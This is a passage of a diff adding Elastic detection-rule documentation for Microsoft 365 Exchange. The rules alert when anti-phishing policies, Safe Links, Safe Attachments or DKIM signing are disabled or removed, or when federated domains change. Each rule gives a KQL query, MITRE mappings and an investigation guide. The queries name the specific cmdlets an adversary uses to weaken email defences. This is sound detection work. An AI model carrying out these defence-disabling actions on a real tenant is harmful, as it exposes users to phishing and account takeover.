https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/set-up-anti-phishing-policies?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Domain: Email +* Data Source: Microsoft 365 Audit Logs +* Service: Microsoft Exchange Online + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Anti-Phish Policy Deleted* + + +Microsoft 365's anti-phishing policies enhance security by fine-tuning detection settings to thwart phishing attacks. Adversaries may delete these policies to weaken defenses, facilitating unauthorized access. The detection rule monitors audit logs for successful deletions of anti-phishing policies, signaling potential malicious activity by identifying specific actions and outcomes associated with policy removal. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "Remove-AntiPhishPolicy" to identify the user account responsible for the deletion. +- Check the event.outcome field to confirm the success of the policy deletion and gather additional context from related logs around the same timestamp. +- Investigate the user account's recent activities in Microsoft 365 to identify any other suspicious actions or anomalies, such as unusual login locations or times. +- Assess whether the user account has been compromised by checking for any unauthorized access attempts or changes in account settings. +- Evaluate the impact of the deleted anti-phishing policy by reviewing the organization's current phishing protection measures and any recent phishing incidents. +- Coordinate with the IT security team to determine if the policy deletion was authorized or part of a legitimate change management process. + + +*False positive analysis* + + +- Routine administrative actions may trigger the rule if IT staff regularly update or remove outdated anti-phishing policies. To manage this, create exceptions for known administrative accounts performing these actions. +- Scheduled policy reviews might involve the removal of policies as part of a legitimate update process. Document these schedules and exclude them from triggering alerts by setting time-based exceptions. +- Automated scripts used for policy management can inadvertently cause false positives. Identify and whitelist these scripts to prevent unnecessary alerts. +- Changes in organizational policy that require the removal of certain anti-phishing policies can be mistaken for malicious activity. Ensure that such changes are communicated and logged, and adjust the rule to recognize these legitimate actions. +- Test environments where policies are frequently added and removed for validation purposes can generate false positives. Exclude these environments from the rule to avoid confusion. + + +*Response and remediation* + + +- Immediately isolate the affected user accounts and systems to prevent further unauthorized access or data exfiltration. +- Recreate the deleted anti-phishing policy using the latest security guidelines and ensure it is applied across all relevant user groups. +- Conduct a thorough review of recent email activity and logs for the affected accounts to identify any phishing emails that may have bypassed security measures. +- Reset passwords for affected accounts and enforce multi-factor authentication (MFA) to enhance account security. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Escalate the incident to the incident response team if there is evidence of broader compromise or if sensitive data has been accessed. +- Implement enhanced monitoring and alerting for similar actions in the future to quickly detect and respond to any further attempts to delete security policies. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Remove-AntiPhishPolicy" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-anti-phish-rule-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-anti-phish-rule-modification.asciidoc new file mode 100644 index 0000000000..4df7678958 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-anti-phish-rule-modification.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-m365-exchange-anti-phish-rule-modification]] +=== M365 Exchange Anti-Phish Rule Modification + +Identifies the modification of an anti-phishing rule in Microsoft 365. By default, Microsoft 365 includes built-in features that help protect users from phishing attacks. Anti-phishing rules increase this protection by refining settings to better detect and prevent attacks. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-antiphishrule?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/disable-antiphishrule?view=exchange-ps + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Domain: Email +* Data Source: Microsoft 365 Audit Logs +* Service: Microsoft Exchange Online + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Anti-Phish Rule Modification* + + +Microsoft 365's anti-phishing rules are crucial for safeguarding users against phishing attacks by enhancing detection and prevention settings. Adversaries may attempt to modify or disable these rules to facilitate phishing campaigns, gaining unauthorized access. The detection rule monitors for successful modifications or disabling of anti-phishing rules, signaling potential malicious activity by tracking specific actions within the Exchange environment. + + +*Possible investigation steps* + + +- Review the event logs for entries with event.dataset set to o365.audit and event.provider set to Exchange to confirm the context of the alert. +- Check the event.action field for "Remove-AntiPhishRule" or "Disable-AntiPhishRule" to identify the specific action taken on the anti-phishing rule. +- Verify the event.outcome field to ensure the action was successful, indicating a potential security concern. +- Identify the user or account associated with the modification by examining the relevant user fields in the event log. +- Investigate the user's recent activity and access patterns to determine if there are any other suspicious actions or anomalies. +- Assess the impact of the rule modification by reviewing any subsequent phishing attempts or security incidents that may have occurred. +- Consider reverting the changes to the anti-phishing rule and implementing additional security measures if unauthorized access is confirmed. + + +*False positive analysis* + + +- Administrative changes: Legitimate administrative tasks may involve modifying or disabling anti-phishing rules for testing or configuration purposes. To manage this, create exceptions for known administrative accounts or scheduled maintenance windows. +- Security audits: Regular security audits might require temporary adjustments to anti-phishing rules. Document these activities and exclude them from alerts by correlating with audit logs. +- Third-party integrations: Some third-party security tools may interact with Microsoft 365 settings, triggering rule modifications. Identify these tools and exclude their actions from triggering alerts by using their specific identifiers. +- Policy updates: Organizational policy changes might necessitate updates to anti-phishing rules. Ensure these changes are documented and exclude them from alerts by associating them with approved change management processes. + + +*Response and remediation* + + +- Immediately isolate the affected user accounts to prevent further unauthorized access and potential spread of phishing attacks. +- Revert any unauthorized changes to the anti-phishing rules by restoring them to their previous configurations using backup or documented settings. +- Conduct a thorough review of recent email logs and user activity to identify any potential phishing emails that may have bypassed the modified rules and take steps to quarantine or delete them. +- Notify the security team and relevant stakeholders about the incident, providing details of the rule modification and any identified phishing attempts. +- Escalate the incident to the incident response team for further investigation and to determine if additional systems or data have been compromised. +- Implement enhanced monitoring and alerting for any further attempts to modify anti-phishing rules, ensuring that similar activities are detected promptly. +- Review and update access controls and permissions for administrative actions within Microsoft 365 to ensure that only authorized personnel can modify security settings. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:("Remove-AntiPhishRule" or "Disable-AntiPhishRule") and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-dkim-signing-configuration-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-dkim-signing-configuration-disabled.asciidoc new file mode 100644 index 0000000000..cfb1830ead --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-dkim-signing-configuration-disabled.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-m365-exchange-dkim-signing-configuration-disabled]] +=== M365 Exchange DKIM Signing Configuration Disabled + +Identifies when a DomainKeys Identified Mail (DKIM) signing configuration is disabled in Microsoft 365. With DKIM in Microsoft 365, messages that are sent from Exchange Online will be cryptographically signed. This will allow the receiving email system to validate that the messages were generated by a server that the organization authorized and were not spoofed. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/set-dkimsigningconfig?view=exchange-ps + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Domain: Email +* Data Source: Microsoft 365 Audit Logs +* Service: Microsoft Exchange Online + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange DKIM Signing Configuration Disabled* + + +DomainKeys Identified Mail (DKIM) is a security protocol that ensures email authenticity by allowing recipients to verify that messages are sent from authorized servers. Disabling DKIM can expose organizations to email spoofing, where attackers impersonate legitimate domains to conduct phishing attacks. The detection rule identifies when DKIM is disabled in Microsoft 365, signaling potential unauthorized changes that could facilitate persistent threats. + + +*Possible investigation steps* + + +- Review the audit logs in Microsoft 365 to identify the user or service account associated with the event.action "Set-DkimSigningConfig" where o365.audit.Parameters.Enabled is False. This will help determine who or what initiated the change. +- Check the event.timestamp to establish when the DKIM signing configuration was disabled and correlate this with any other suspicious activities or changes in the environment around the same time. +- Investigate the event.outcome field to confirm that the action was successful and not a failed attempt, which could indicate a misconfiguration or unauthorized access attempt. +- Examine the event.provider and event.category fields to ensure that the event is specifically related to Exchange and web actions, confirming the context of the alert. +- Assess the risk score and severity level to prioritize the investigation and determine if immediate action is required to mitigate potential threats. +- Look into any recent changes in administrative roles or permissions that could have allowed unauthorized users to disable DKIM signing, focusing on persistence tactics as indicated by the MITRE ATT&CK framework reference. + + +*False positive analysis* + + +- Routine administrative changes: Sometimes, DKIM signing configurations may be disabled temporarily during routine maintenance or updates by authorized IT personnel. To manage this, establish a process to document and approve such changes, and create exceptions in the monitoring system for these documented events. +- Testing and troubleshooting: IT teams may disable DKIM as part of testing or troubleshooting email configurations. Ensure that these activities are logged and approved, and consider setting up alerts that differentiate between test environments and production environments to reduce noise. +- Configuration migrations: During migrations to new email systems or configurations, DKIM may be disabled as part of the transition process. Implement a change management protocol that includes notifying the security team of planned migrations, allowing them to temporarily adjust monitoring rules. +- Third-party integrations: Some third-party email services may require DKIM to be disabled temporarily for integration purposes. Maintain a list of approved third-party services and create exceptions for these specific cases, ensuring that the security team is aware of and has approved the integration. + + +*Response and remediation* + + +- Immediately re-enable DKIM signing for the affected domain in Microsoft 365 to restore email authenticity and prevent potential spoofing attacks. +- Conduct a review of recent administrative activities in Microsoft 365 to identify any unauthorized changes or suspicious behavior that may have led to the DKIM configuration being disabled. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized change and potential risks associated with it. +- Implement additional monitoring on the affected domain and related accounts to detect any further unauthorized changes or suspicious activities. +- Review and update access controls and permissions for administrative accounts in Microsoft 365 to ensure that only authorized personnel can modify DKIM settings. +- Escalate the incident to the organization's incident response team for further investigation and to determine if any additional security measures are necessary. +- Consider implementing additional email security measures, such as SPF and DMARC, to complement DKIM and enhance overall email security posture. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Set-DkimSigningConfig" and o365.audit.Parameters.Enabled:False and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-email-safe-attachment-rule-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-email-safe-attachment-rule-disabled.asciidoc new file mode 100644 index 0000000000..77c79d2c9e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-email-safe-attachment-rule-disabled.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-m365-exchange-email-safe-attachment-rule-disabled]] +=== M365 Exchange Email Safe Attachment Rule Disabled + +Identifies when a safe attachment rule is disabled in Microsoft 365. Safe attachment rules can extend malware protections to include routing all messages and attachments without a known malware signature to a special hypervisor environment. An adversary or insider threat may disable a safe attachment rule to exfiltrate data or evade defenses. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/disable-safeattachmentrule?view=exchange-ps + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Domain: Email +* Data Source: Microsoft 365 Audit Logs +* Service: Microsoft Exchange Online + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Email Safe Attachment Rule Disabled* + + +Microsoft 365's Safe Attachment feature enhances security by analyzing email attachments in a secure environment to detect unknown malware. Disabling this rule can expose organizations to threats by allowing potentially harmful attachments to bypass scrutiny. Adversaries may exploit this to exfiltrate data or avoid detection. The detection rule monitors audit logs for successful attempts to disable this feature, signaling potential defense evasion activities. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "Disable-SafeAttachmentRule" to identify the user or account responsible for the action. +- Check the event.outcome field to confirm the success of the rule being disabled and gather additional context from related logs around the same timestamp. +- Investigate the event.provider "Exchange" to determine if there are any other recent suspicious activities or changes made by the same user or account. +- Assess the event.category "web" to understand if there were any web-based interactions or anomalies that coincide with the disabling of the safe attachment rule. +- Evaluate the risk score and severity to prioritize the investigation and determine if immediate action is required to mitigate potential threats. +- Cross-reference the identified user or account with known insider threat indicators or previous security incidents to assess the likelihood of malicious intent. + + +*False positive analysis* + + +- Routine administrative changes can trigger alerts when IT staff disable Safe Attachment rules for legitimate reasons, such as testing or maintenance. To manage this, create exceptions for known administrative accounts or scheduled maintenance windows. +- Automated scripts or third-party tools used for email management might disable Safe Attachment rules as part of their operations. Identify these tools and exclude their actions from triggering alerts by whitelisting their associated accounts or IP addresses. +- Changes in organizational policy or security configurations might necessitate temporary disabling of Safe Attachment rules. Document these policy changes and adjust the monitoring rules to account for these temporary exceptions. +- Training or onboarding sessions for new IT staff might involve disabling Safe Attachment rules as part of learning exercises. Ensure these activities are logged and excluded from alerts by setting up temporary exceptions for training periods. + + +*Response and remediation* + + +- Immediately re-enable the Safe Attachment Rule in Microsoft 365 to restore the security posture and prevent further exposure to potentially harmful attachments. +- Conduct a thorough review of recent email logs and quarantine any suspicious attachments that were delivered during the period the rule was disabled. +- Isolate any systems or accounts that interacted with suspicious attachments to prevent potential malware spread or data exfiltration. +- Escalate the incident to the security operations team for further investigation and to determine if there was any unauthorized access or data compromise. +- Implement additional monitoring on the affected accounts and systems to detect any signs of ongoing or further malicious activity. +- Review and update access controls and permissions to ensure that only authorized personnel can modify security rules and configurations. +- Conduct a post-incident analysis to identify the root cause and implement measures to prevent similar incidents, such as enhancing alerting mechanisms for critical security rule changes. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Disable-SafeAttachmentRule" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-email-safe-link-policy-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-email-safe-link-policy-disabled.asciidoc new file mode 100644 index 0000000000..459178d0b5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-email-safe-link-policy-disabled.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-m365-exchange-email-safe-link-policy-disabled]] +=== M365 Exchange Email Safe Link Policy Disabled + +Identifies when a Safe Link policy is disabled in Microsoft 365. Safe Link policies for Office applications extend phishing protection to documents that contain hyperlinks, even after they have been delivered to a user. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/disable-safelinksrule?view=exchange-ps +* https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/atp-safe-links?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Domain: Email +* Data Source: Microsoft 365 Audit Logs +* Service: Microsoft Exchange Online + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Email Safe Link Policy Disabled* + + +Microsoft 365's Safe Link policies enhance security by scanning hyperlinks in documents for phishing threats, even post-delivery. Disabling these policies can expose users to phishing attacks. Adversaries might exploit this by disabling Safe Links to facilitate malicious link delivery. The detection rule identifies successful attempts to disable Safe Link policies, signaling potential security breaches. + + +*Possible investigation steps* + + +- Review the event logs for the specific event.dataset:o365.audit and event.provider:Exchange to confirm the occurrence of the "Disable-SafeLinksRule" action with a successful outcome. +- Identify the user account associated with the event.action:"Disable-SafeLinksRule" to determine if the action was performed by an authorized individual or if the account may have been compromised. +- Check the recent activity of the identified user account for any unusual or unauthorized actions that could indicate a broader security incident. +- Investigate any recent changes to Safe Link policies in the Microsoft 365 environment to understand the scope and impact of the policy being disabled. +- Assess whether there have been any recent phishing attempts or suspicious emails delivered to users, which could exploit the disabled Safe Link policy. +- Coordinate with the IT security team to re-enable the Safe Link policy and implement additional monitoring to prevent future unauthorized changes. + + +*False positive analysis* + + +- Administrative changes: Legitimate administrative actions may involve disabling Safe Link policies temporarily for testing or configuration purposes. To manage this, create exceptions for known administrative accounts or scheduled maintenance windows. +- Third-party integrations: Some third-party security tools or integrations might require Safe Link policies to be disabled for compatibility reasons. Identify and document these tools, and set up exceptions for their associated actions. +- Policy updates: During policy updates or migrations, Safe Link policies might be disabled as part of the process. Monitor and document these events, and exclude them from alerts if they match known update patterns. +- User training sessions: Safe Link policies might be disabled during user training or demonstrations to showcase potential threats. Schedule these sessions and exclude related activities from triggering alerts. + + +*Response and remediation* + + +- Immediately re-enable the Safe Link policy in Microsoft 365 to restore phishing protection for hyperlinks in documents. +- Conduct a thorough review of recent email and document deliveries to identify any potentially malicious links that may have been delivered while the Safe Link policy was disabled. +- Isolate any identified malicious links or documents and notify affected users to prevent interaction with these threats. +- Investigate the account or process that disabled the Safe Link policy to determine if it was compromised or misused, and take appropriate actions such as password resets or privilege revocation. +- Escalate the incident to the security operations team for further analysis and to determine if additional security measures are needed to prevent similar incidents. +- Implement additional monitoring and alerting for changes to Safe Link policies to ensure rapid detection of any future unauthorized modifications. +- Review and update access controls and permissions related to Safe Link policy management to ensure only authorized personnel can make changes. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Disable-SafeLinksRule" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-federated-domain-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-federated-domain-created-or-modified.asciidoc new file mode 100644 index 0000000000..f3a621ae8b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-federated-domain-created-or-modified.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-34-m365-exchange-federated-domain-created-or-modified]] +=== M365 Exchange Federated Domain Created or Modified + +Identifies a new or modified federation domain, which can be used to create a trust between O365 and an external identity provider. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-accepteddomain?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-federateddomain?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/new-accepteddomain?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/add-federateddomain?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/set-accepteddomain?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/msonline/set-msoldomainfederationsettings?view=azureadps-1.0 + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Domain: Email +* Data Source: Microsoft 365 Audit Logs +* Service: Microsoft Exchange Online + +*Version*: 215 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Federated Domain Created or Modified* + + +Federation domains enable trust between Office 365 and external identity providers, facilitating seamless authentication. Adversaries may exploit this by altering federation settings to redirect authentication flows, potentially gaining unauthorized access. The detection rule monitors specific actions like domain modifications, signaling potential privilege escalation attempts, and alerts analysts to investigate these changes. + + +*Possible investigation steps* + + +- Review the event logs for the specific actions listed in the query, such as "Set-AcceptedDomain" or "Add-FederatedDomain", to identify the exact changes made to the federation domain settings. +- Identify the user account associated with the event by examining the event logs, and verify if the account has the necessary permissions to perform such actions. +- Check the event.outcome field to confirm the success of the action and cross-reference with any recent administrative changes or requests to validate legitimacy. +- Investigate the event.provider and event.category fields to ensure the actions were performed through legitimate channels and not via unauthorized or suspicious methods. +- Analyze the timing and frequency of the federation domain changes to detect any unusual patterns or repeated attempts that could indicate malicious activity. +- Correlate the detected changes with any recent alerts or incidents involving privilege escalation or unauthorized access attempts to assess potential links or broader security implications. + + +*False positive analysis* + + +- Routine administrative changes to federation domains by IT staff can trigger alerts. To manage this, create exceptions for known and scheduled maintenance activities by trusted administrators. +- Automated scripts or tools used for domain management may cause false positives. Identify these scripts and exclude their actions from triggering alerts by whitelisting their associated accounts or IP addresses. +- Integration of new services or applications that require federation domain modifications can be mistaken for suspicious activity. Document these integrations and adjust the rule to recognize these legitimate changes. +- Changes made during organizational restructuring, such as mergers or acquisitions, might appear as unauthorized modifications. Coordinate with relevant departments to anticipate these changes and temporarily adjust monitoring thresholds or exclusions. +- Regular audits or compliance checks that involve domain settings adjustments can lead to false positives. Schedule these audits and inform the security team to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately disable any newly added or modified federation domains to prevent unauthorized access. This can be done using the appropriate administrative tools in Office 365. +- Review and revoke any suspicious or unauthorized access tokens or sessions that may have been issued through the compromised federation domain. +- Conduct a thorough audit of recent administrative actions and access logs to identify any unauthorized changes or access patterns related to the federation domain modifications. +- Escalate the incident to the security operations team for further investigation and to determine if additional containment measures are necessary. +- Implement additional monitoring on federation domain settings to detect any further unauthorized changes promptly. +- Communicate with affected stakeholders and provide guidance on any immediate actions they need to take, such as password resets or additional authentication steps. +- Review and update federation domain policies and configurations to ensure they align with best practices and reduce the risk of similar incidents in the future. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:("Set-AcceptedDomain" or +"Set-MsolDomainFederationSettings" or "Add-FederatedDomain" or "New-AcceptedDomain" or "Remove-AcceptedDomain" or "Remove-FederatedDomain") and +event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-inbox-forwarding-rule-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-inbox-forwarding-rule-created.asciidoc new file mode 100644 index 0000000000..51d662b695 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-inbox-forwarding-rule-created.asciidoc @@ 